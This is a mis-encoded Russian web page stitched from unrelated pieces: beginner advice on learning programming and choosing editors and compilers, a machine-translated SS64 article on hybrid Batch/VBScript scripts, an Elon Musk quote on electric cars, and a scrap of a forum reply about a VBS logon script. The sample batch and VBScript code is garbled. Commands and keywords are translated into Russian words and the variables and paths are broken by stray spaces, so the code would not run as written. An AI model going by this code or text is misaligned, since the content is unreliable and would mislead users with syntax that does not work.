    • Выбирая язык, ΡΠΊΠΎΠ½Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€ΡƒΠΉΡ‚Π΅ΡΡŒ Π½Π° Ρ‚ΠΎΠΌ, Π² ΠΊΠ°ΠΊΠΈΡ… цСлях Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Π΅ ΠΊΠΎΠ΄Ρ‹, ΠΈ ΡƒΠΆΠ΅ ΠΏΠΎΡ‚ΠΎΠΌ Π²Ρ‹Π±ΠΈΡ€Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ язык. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ Π²Π΅Π±-сайтов, Ρ‚ΠΎ Π²Π°ΠΌ слСдуСт Π½Π°Ρ‡Π°Ρ‚ΡŒ с изучСния HTML, Π° Π·Π°Ρ‚Π΅ΠΌ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ языками CSS, JavaScript ΠΈ PHP. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠ², Ρ‚ΠΎ Π½Π°Ρ‡Π½ΠΈΡ‚Π΅ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ C ++ ΠΈΠ»ΠΈ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ основной язык программирования.
    • Если Π²Ρ‹ станСтС ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌ программистом, Ρ‚ΠΎ Π²Ρ‹ быстро ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‚ язык, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π²Ρ‹ΡƒΡ‡ΠΈΠ»ΠΈ, для вашСй Ρ€Π°Π±ΠΎΡ‚Ρ‹. ВмСсто этого, Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ всС врСмя ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ ΡƒΡ‡ΠΈΡ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ языки Ρ‡Π΅Ρ€Π΅Π· Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ ΠΈ экспСримСнты.
  • НайдитС бСсплатныС ΠΎΠ½Π»Π°ΠΉΠ½-рСсурсы, посвящСнныС Π²Π°ΡˆΠ΅ΠΌΡƒ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠΌΡƒ языку. Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ — это сундук с сокровищами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ…Ρ€Π°Π½ΠΈΡ‚ Π² сСбС бСсплатныС пособия, курсы ΠΈ Π²ΠΈΠ΄Π΅ΠΎ, посвящСнныС языку, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ€Π΅ΡˆΠΈΠ»ΠΈ ΡƒΡ‡ΠΈΡ‚ΡŒ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹ΡƒΡ‡ΠΈΡ‚ΡŒ основы ΠΏΠΎΡ‡Ρ‚ΠΈ любого Π²Π²ΠΎΠ΄Π½ΠΎΠ³ΠΎ языка Π·Π° дСнь.

    • Π’ΠΎΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ нСсколько популярных сайтов: Bento, CodeAcademy, Code.org, html.net, Khan Academy, Udacity, W3Schools ΠΈ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅.
    • На wikiHow Ρ‚ΠΎΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ большоС Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·ΠΈΠ΅ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Ρ… пособий для Ρ€Π°Π·Π½Ρ‹Ρ… языков.
    • Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰ΠΈΠ΅ Π²ΠΈΠ΄Π΅ΠΎ практичСски для любого языка Π½Π° YouTube.
    • Stack Exchange — это ΠΎΠ΄ΠΈΠ½ ΠΈΠ· самых популярных Ρ„ΠΎΡ€ΡƒΠΌΠΎΠ², Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ программисты ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‚ Π½Π° Π»ΡŽΠ±Ρ‹Π΅ вопросы ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.
  • Π‘ΠΊΠ°Ρ‡Π°ΠΉΡ‚Π΅ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€. МногиС языки программирования ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ использованиС Π²Π½Π΅ΡˆΠ½ΠΈΡ… тСкстовых Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ΠΎΠ² для написания ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ. НайдитС тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ отступы ΠΈ ΠΊΠΎΠ΄ΠΎΠ²ΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ.

    • ΠŸΠΎΠΏΡƒΠ»ΡΡ€Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Notepad++ (Windows), TextWrangler (OS X) ΠΈ JEdit (любая систСма).
  • Π‘ΠΊΠ°Ρ‡Π°ΠΉΡ‚Π΅ Π»ΡŽΠ±Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ компиляторы. НСкоторыС языки программирования Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ компилятор для отобраТСния исходного ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ написали. ΠšΠΎΠΌΠΏΠΈΠ»ΡΡ‚ΠΎΡ€Ρ‹ Ρ‚Ρ€Π°Π½ΡΠ»ΠΈΡ€ΡƒΡŽΡ‚ исходный ΠΊΠΎΠ΄ Π² ΡΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½Ρ‚Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ Π½Π° языкС Π½ΠΈΠ·ΠΊΠΎΠ³ΠΎ уровня, которая Π·Π°Ρ‚Π΅ΠΌ обрабатываСтся ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ. МногиС компиляторы ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌΠΈ ΠΈ бСсплатными ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°ΠΌΠΈ. Π―Π·Ρ‹ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ использованиС компиляторов, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚:

  • НачнитС ваш ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚. Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ Ρ…ΠΎΡ€ΠΎΡˆΠΈΠΉ Π²Π²ΠΎΠ΄Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ Π²Π°ΠΌ ΠΈΡΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ваши Π½ΠΎΠ²Ρ‹Π΅ Π½Π°Π²Ρ‹ΠΊΠΈ. Π’ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ сущСствуСт мноТСство ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈ пособий ΠΏΠΎ этой Ρ‚Π΅ΠΌΠ΅; Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ с создания простых Π²Π΅Π±-сайтов с HTML, простых Π±Π°Π· Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ с PHP ΠΈΠ»ΠΈ простых ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ Π½Π° любом ΠΈΠ· языков, Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰ΠΈΡ… использованиС компиляторов.

    РассматривайтС Π΄Π΅Ρ‚Π°Π»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ ΠΈΠ»ΠΈ Π²Π΅Π±-ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ². Когда Π²Ρ‹ ΡƒΡ‡ΠΈΡ‚Π΅ ΠΊΠΎΠ΄ Π½Π° Ρ…ΠΎΠ΄Ρƒ, Π½Π΅ ΡΡ‚Ρ‹Π΄ΠΈΡ‚Π΅ΡΡŒ ΠΈΡΠΊΠ°Ρ‚ΡŒ подсказки Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ ΠΈ ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ люди Ρ€Π΅ΡˆΠ°ΡŽΡ‚ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹. УдСляйтС врСмя Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π»ΠΈΠ½ΠΈΠΈ ΠΊΠΎΠ΄Π° Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ.

    • ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ это руководство, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ исходный ΠΊΠΎΠ΄ любого Π²Π΅Π±-сайта.
  • Π Π°ΡΡˆΠΈΡ€ΡŒΡ‚Π΅ ваши знания

    1. Π—Π°ΠΏΠΈΡˆΠΈΡ‚Π΅ΡΡŒ Π½Π° курсы. УнивСрситСты, ΠΊΠΎΠ»Π»Π΅Π΄ΠΆΠΈ ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ сСртификаты ΠΈ курсы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°ΡƒΡ‡Π°Ρ‚ вас ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ, Π½ΠΎ ΠΈ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ Π½Π°ΠΉΡ‚ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρƒ. Π₯отя унивСрситСтский Π΄ΠΈΠΏΠ»ΠΎΠΌ ΠΏΠΎ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ программиста Π½Π΅ всСгда Π½ΡƒΠΆΠ΅Π½, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ Π½Π°ΠΉΡ‚ΠΈ ΠΏΠΎΡΡ‚ΠΎΡΠ½Π½ΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ Π² качСствС программиста.

      • НСоспорима ΠΈ польза ΠΎΡ‚ прямого общСния с ΡƒΡ‡ΠΈΡ‚Π΅Π»Π΅ΠΌ ΠΈΠ»ΠΈ спСциалистом Π² области программирования, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ всСгда доступно Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ½Π»Π°ΠΉΠ½-курсы.
      • ΠžΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π½Π° программиста ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±ΠΎΠΉΡ‚ΠΈΡΡŒ Π²Π°ΠΌ довольно Π΄ΠΎΡ€ΠΎΠ³ΠΎ, поэтому Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅, стоит Π»ΠΈ ΠΎΠ½ΠΎ Ρ‚ΠΎΠ³ΠΎ. Если Π²Ρ‹ ΡƒΠ²Π»Π΅ΠΊΠ°Π΅Ρ‚Π΅ΡΡŒ написаниСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² качСствС Ρ…ΠΎΠ±Π±ΠΈ, Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ стоит Ρ‚Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ врСмя ΠΈ дСньги Π½Π° ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ курсы. Если ΠΆΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ построит ΠΊΠ°Ρ€ΡŒΠ΅Ρ€Ρƒ Π² этой области, Ρ‚ΠΎ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ образования ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π²Π°ΠΌ Π² этом ΠΏΠΎΠΌΠΎΡ‡ΡŒ (Π½ΠΎ, ΠΎΠΏΡΡ‚ΡŒ ΠΆΠ΅, ΠΎΠ½ΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Ссли Ρƒ вас Π΅ΡΡ‚ΡŒ Ρ‚Π°Π»Π°Π½Ρ‚).
    2. Π Π°ΡΡˆΠΈΡ€ΡŒΡ‚Π΅ ваши знания. Π’Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡŒΠ·Ρƒ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚ изучСния языков программирования, Π½ΠΎ ΠΈ ΠΎΡ‚ курсов ΠΏΠΎ ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠ΅ ΠΈ Π»ΠΎΠ³ΠΈΠΊΠ΅, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ эти ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚Ρ‹ часто Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ владСния ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ Π½Π° высоком ΡƒΡ€ΠΎΠ²Π½Π΅. Π’Π°ΠΌ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡƒΡ‡ΠΈΡ‚ΡŒ это Π² школС ΠΈΠ»ΠΈ институтС, хотя подобная срСда ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Π°.

    Hybrid Batch ΠΈ VBscript — VBScript

    Hybrid Batch ΠΈ VBscript — VBScript — SS64.com

    Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ», ΠΈ VBScript, самый простой способ — ΠΈΠΌΠ΅Ρ‚ΡŒ Π΄Π²Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ„Π°ΠΉΠ»Π° ΠΈ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ, Π½ΠΎ для этого трСбуСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π° сцСнария Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»ΠΈΡΡŒ Π² ΠΎΠ΄Π½ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠ΅ (ΠΈΠ»ΠΈ Π² ΠΊΠ°ΠΊΠΎΠΌ-Ρ‚ΠΎ извСстном мСстС. )

    Π“ΠΈΠ±Ρ€ΠΈΠ΄Π½Ρ‹ΠΉ сцСнарий — это ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ сцСнарий, содСрТащий ΠΊΠ°ΠΊ ΠΏΠ°ΠΊΠ΅Ρ‚Π½Ρ‹Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, Ρ‚Π°ΠΊ ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ VBscript. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ с использованиСм пСрСнаправлСния для создания Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° vbscript.

    НапримСр, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ³Π΅Π½Π΅Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ однострочный VBScript, содСрТащий wscript.echo Β«Hello worldΒ», Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ
    Echo wscript.echo Β«Hello worldΒ» >% temp% \ ~ hi. vbs
    cscript // Π½Π΅Ρ‚% temp% \ ~ hi.vbs

    ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Π°Ρ% temp% Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π° Π΄ΠΎ ΠΏΠ°ΠΏΠΊΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.

    НаписаниС Π±ΠΎΠ»Π΅Π΅ Π΄Π»ΠΈΠ½Π½Ρ‹Ρ… Π³ΠΈΠ±Ρ€ΠΈΠ΄Π½Ρ‹Ρ… сцСнариСв ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя мноТСство ΠΊΠΎΠΌΠ°Π½Π΄ эха ΠΈ пСрСнаправлСния, ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΉ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строки, поэтому Π΅ΡΡ‚ΡŒ нСсколько ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΌΠ΅Π½Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹ΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ для хранСния ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΡ…ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄ / ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΈΠ»ΠΈ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ comment (‘VBS) Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строки VBScript, Π° Π·Π°Ρ‚Π΅ΠΌ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Findstr ΠΈΠ·Π²Π»Π΅Ρ‡ΡŒ VBScript.
    Π’Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅% ~ f0 прСобразуСтся Π² ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ ΠΊ ΠΏΠ°ΠΊΠ΅Ρ‚Π½ΠΎΠΌΡƒ Ρ„Π°ΠΉΠ»Ρƒ, поэтому это позволяСт ΡΡ†Π΅Π½Π°Ρ€ΠΈΡŽ ΠΈΡΠΊΠ°Ρ‚ΡŒ сам сСбя:

     @ Π­Ρ…ΠΎ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ
    Setlocal
    Echo Π­Ρ‚ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ»
    FINDSTR / E " 'VBS " "% ~ f0>% temp% \ ~ temp.vbs
    cscript // Π½Π΅Ρ‚% temp% \ ~ temp.vbs
    Del% temp% \ ~ temp.vbs
    Echo All Done.
    Π’Π«Π₯ΠžΠ”
    
    Sub Demo  'VBS 
       wscript.echo Β«Π”ΠΎΠ±Ρ€ΠΎ ΠΏΠΎΠΆΠ°Π»ΠΎΠ²Π°Ρ‚ΡŒ Π² VBScriptΒ»  'VBS 
    ΠšΠΎΠ½Ρ†Π΅Π²ΠΎΠΉ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π½ΠΈΠΊ  'VBS 
    
    Π΄Π΅ΠΌΠΎ  'VBS 
    wscript. Π²Ρ‹ΠΉΡ‚ΠΈ 0  'VBS  

    «На самом Π΄Π΅Π»Π΅ я прСдсказал, Ρ‡Ρ‚ΠΎ Ρ‡Π΅Ρ€Π΅Π· 30 Π»Π΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π½ΠΎΠ²Ρ‹Ρ… Π°Π²Ρ‚ΠΎΠΌΠΎΠ±ΠΈΠ»Π΅ΠΉ, ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΠΌΡ‹Ρ… Π² Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹Ρ… Π¨Ρ‚Π°Ρ‚Π°Ρ…, Π±ΡƒΠ΄ΡƒΡ‚ элСктричСскими. И я Π½Π΅ имСю Π² Π²ΠΈΠ΄Ρƒ Π³ΠΈΠ±Ρ€ΠΈΠ΄, я имСю Π² Π²ΠΈΠ΄Ρƒ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ элСктричСский Β»~ Илон Маск

    .

    БвязанныС

    Π“ΠΈΠ±Ρ€ΠΈΠ΄Π½Ρ‹Π΅ сцСнарии Π±Π΅Π· Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° — StackOverflow
    Запуск сцСнария ΠΈΠ· VBScript
    Запуск сцСнария ΠΈΠ· PowerShell
    Запуск сцСнария ΠΈΠ· ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠΈ CMD


    АвторскиС ΠΏΡ€Π°Π²Π° Β© 1999-2021 SS64.com
    НСкоторыС ΠΏΡ€Π°Π²Π° Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Ρ‹.

    [Ρ€Π΅ΡˆΠ΅Π½ΠΎ] Как Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ» .bat Π² сцСнарии Π²Ρ…ΠΎΠ΄Π° Π² систСму .VBS? — ИВ-ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅

    Π’ вашСм сцСнарии Π΅ΡΡ‚ΡŒ ряд ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ начинаСтся с Β«ΠŸΡ€ΠΈ ошибкС Π²ΠΎΠ·ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉΒ». Π­Ρ‚ΠΎ Π² основном скрываСт Π»ΡŽΠ±Ρ‹Π΅ сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ… ΠΈ пытаСтся ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ сцСнария. ОсобСнно ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ создании скрипта Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ эти сообщСния ΠΎΠ± ΠΎΡˆΠΈΠ±ΠΊΠ°Ρ…, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΈΡ… ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ.

